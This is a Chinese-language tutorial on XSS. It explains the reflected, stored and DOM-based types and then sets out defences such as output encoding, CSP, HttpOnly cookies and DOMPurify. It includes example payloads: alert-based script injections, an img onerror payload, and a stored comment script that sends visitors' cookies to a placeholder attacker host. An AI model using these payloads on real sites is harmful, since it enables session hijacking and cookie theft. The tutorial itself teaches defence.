XSS(跨站脚本攻击)详解及防御
一、XSS 是什么?
XSS(Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过将恶意的脚本代码注入到其他用户信任的网页中,当用户浏览该网页时,嵌入其中的恶意代码会被执行,从而达到攻击者的目的(如盗取用户 cookie、会话劫持、篡改页面内容、发起恶意请求等)。
尽管名字是“跨站脚本”,但它与“CSS”区分开,且其本质是“HTML注入”,因为恶意代码通常是 JavaScript,但也可以是 HTML 或 Flash。
二、XSS 的危害
XSS 漏洞的危害极大,主要包括:
-
盗取用户 Cookie:获取用户的敏感会话信息,从而冒充用户登录。
-
会话劫持:完全控制用户的会话。
-
钓鱼攻击:伪造登录表单,诱骗用户输入用户名、密码甚至银行卡信息。
-
键盘记录:捕获用户的键盘输入。
-
网站挂马:在网页中植入恶意链接或木马程序。
-
篡改页面内容:破坏网站的正常显示,传播虚假信息。
-
发起恶意请求:以用户身份执行任意操作,如发帖、转账、修改密码等(结合 CSRF 原理)。
三、XSS 的类型
XSS 主要分为三类:
1. 反射型 XSS(非持久型)
-
原理:恶意脚本作为请求的一部分(通常出现在 URL 参数中)发送给服务器,服务器未经验证或处理就直接将脚本嵌入到响应页面中返回给浏览器。浏览器执行该脚本。
-
特点:
-
非持久化:恶意代码不会存储在服务器上。
-
需要诱导用户点击:攻击者需要构造一个恶意链接,并通过邮件、论坛、即时消息等方式诱骗用户点击。
-
-
示例:
一个搜索功能,将用户输入的关键字显示在结果页面上。http
正常URL: https://example.com/search?q=apple 恶意URL: https://example.com/search?q=<script>alert('XSS')</script>
如果服务器直接返回
您搜索的关键词是:<script>alert('XSS')</script>
,那么脚本就会被执行。
2. 存储型 XSS(持久型)
-
原理:恶意脚本被永久地存储在服务器的数据库中(如论坛帖子、用户评论、留言板、用户名等)。当其他用户访问包含这些内容的页面时,恶意脚本会从服务器加载并执行。
-
特点:
-
持久化:危害范围更广,所有访问受影响页面的用户都会中招。
-
无需诱导点击:用户只要访问正常页面即可触发。
-
-
示例:
一个博客的评论系统,用户提交的评论被存入数据库。
攻击者提交评论:<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
此后,任何用户查看这条评论时,他们的 cookie 都会被发送到攻击者的服务器。
3. DOM 型 XSS
-
原理:整个攻击过程完全不涉及服务器。漏洞源于前端 JavaScript 对用户输入的数据处理不当。JavaScript 可以动态操作 HTML 文档(DOM),如果使用了不可信的数据(如
location.hash
、document.referrer
、window.name
或 URL 参数),并将其写入 DOM,就可能执行恶意代码。 -
特点:
-
纯前端漏洞:服务器的响应可能是完全正常的,是客户端的 JS 代码导致了问题。
-
难以检测:传统的服务器端日志监控可能无法发现此类攻击。
-
-
示例:
html
<html> <body> <script> // 从URL哈希中获取值并直接写入DOM document.write("Welcome, " + location.hash.substring(1)); </script> </body> </html>
恶意URL:
https://example.com/welcome.html#<img src=x onerror=alert('XSS')>
浏览器解析时,location.hash.substring(1)
的值被直接写入文档,导致img
标签的onerror
事件被触发。
四、XSS 的防御措施
防御 XSS 的核心原则是:绝不信任用户输入的一切数据。必须对输入、输出和上下文进行严格的处理。
1. 输入验证与过滤(Input Validation & Filtering)
-
定义:在服务器端和客户端对用户输入进行严格的检查,拒绝或清理不符合规则的输入。
-
做法:
-
白名单原则:只允许符合特定规则的数据通过(如只允许字母、数字和特定符号),比黑名单(禁止某些字符)有效得多。
-
数据类型校验:对于年龄、价格等字段,严格校验其为数字类型。
-
长度限制:限制输入字段的长度。
-
正则表达式:使用正则表达式匹配和过滤非法字符。
-
-
注意:过滤不能作为唯一的防御手段,因为上下文复杂,很容易被绕过。
2. 输出编码(Output Encoding)—— 最关键的防御手段
-
定义:在将数据输出到不同上下文(HTML、属性、JavaScript、URL)之前,进行正确的转义(编码),使其被浏览器解释为普通文本,而非可执行的代码。
-
上下文相关的编码:
-
HTML Body 上下文(
<div>
内容):
将&
,<
,>
,"
,'
分别转义为&
,<
,>
,"
,'
。
例如:<script>
被编码为<script>
,显示为文本,而不会被执行。 -
HTML 属性上下文(
<input value="...">
):
除了上述字符,空格和等号也需要处理。通常使用引号将属性括起来,并对属性值中的引号进行编码。 -
JavaScript 上下文(
<script>
标签内):
将数据放入引号中,并对其中的引号、换行符等进行 Unicode 转义。
例如:userInput
转义为\u003Cscript\u003E
。 -
URL 上下文(
<a href="...">
):
使用标准的 URL 编码函数(如 JavaScript 的encodeURIComponent
)。
例如:&
被编码为%26
。
-
-
实践:不要手动实现编码函数! 使用成熟、经过安全审计的库:
-
OWASP ESAPI(Enterprise Security API)
-
Java: Apache Commons Text
StringEscapeUtils
-
PHP:
htmlspecialchars()
,htmlentities()
-
Python:
html.escape()
-
JavaScript:
textContent
代替innerHTML
;对于属性,使用setAttribute
;对于动态创建HTML,使用document.createTextNode()
。
-
3. 使用现代前端框架(React, Vue, Angular)
现代框架在设计上就提供了天然的 XSS 防护。
-
它们默认会对渲染到 DOM 中的数据进行转义。例如,在 React 中使用
{variable}
插入变量时,它会被自动转义。 -
注意:使用
dangerouslySetInnerHTML
(React) 或v-html
(Vue) 等特性时会绕过这种保护,必须极其谨慎,仅用于完全信任的 HTML 内容,并在使用前进行清理。
4. 内容安全策略(CSP - Content Security Policy)
CSP 是一个强大的、深度防御的HTTP头(Content-Security-Policy
),它通过白名单机制告诉浏览器允许加载和执行哪些来源的资源。
-
作用:
-
禁止内联脚本(
<script>...</script>
)和eval()
等函数。 -
限制外部脚本、样式、图片、字体等资源的加载域名。
-
即使网站被注入恶意脚本,如果脚本来源不在白名单内,浏览器也不会执行它。
-
-
示例 CSP 头:
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';
-
default-src 'self'
:默认只允许从当前域名加载资源。 -
script-src 'self' https://trusted.cdn.com
:脚本只能从当前域名和trusted.cdn.com
加载。 -
object-src 'none'
:完全禁止<object>
,<embed>
,<applet>
等标签。
-
5. 使用 HttpOnly Cookie
-
作用:为 Cookie 设置
HttpOnly
属性,可以阻止 JavaScript 通过document.cookie
访问此 Cookie。这可以有效缓解 XSS 攻击成功后盗取用户会话 Cookie 的风险。 -
设置方法(服务器端):
http
Set-Cookie: sessionid=asdfghjkl; HttpOnly; Secure; SameSite=Strict
(
Secure
要求仅通过 HTTPS 传输,SameSite
可以防御 CSRF 攻击)
6. 其他措施
-
输入净化:对于富文本内容(如博客编辑器),过滤是必要的,但不能用简单的黑名单。使用像 DOMPurify 这样的专业库,它专门用于对 HTML 进行消毒,只保留安全的标签和属性。
-
避免使用
innerHTML
、outerHTML
、document.write()
:优先使用更安全的textContent
或innerText
。 -
对 URL 进行校验:确保
href
和src
属性是以http://
、https://
或mailto:
等安全协议开头,防止javascript:
伪协议。
五、总结
攻击类型 | 触发方式 | 防御重点 |
---|---|---|
反射型 XSS | 诱骗用户点击恶意链接 | 对输入和输出进行严格的编码 |
存储型 XSS | 访问被植入恶意代码的页面 | 对存储和输出进行严格的编码,HttpOnly Cookie |
DOM 型 XSS | 访问恶意构造的 URL | 安全的前端编码实践,避免危险的 DOM API |
防御 XSS 的最佳实践是采用分层防御策略:
-
对输入进行严格的验证和过滤(第一道防线)。
-
在输出前,根据上下文进行正确的编码(最核心的防线)。
-
对富文本使用专业的净化库(如 DOMPurify)。
-
实施强有力 CSP 策略(强有力的后盾)。
-
为 Cookie 设置 HttpOnly 和 Secure 属性(降低损失)。
-
使用现代前端框架并遵循其安全实践。
没有任何单一方法能完全防御所有 XSS,但结合以上措施,可以极大程度地提高应用的安全性。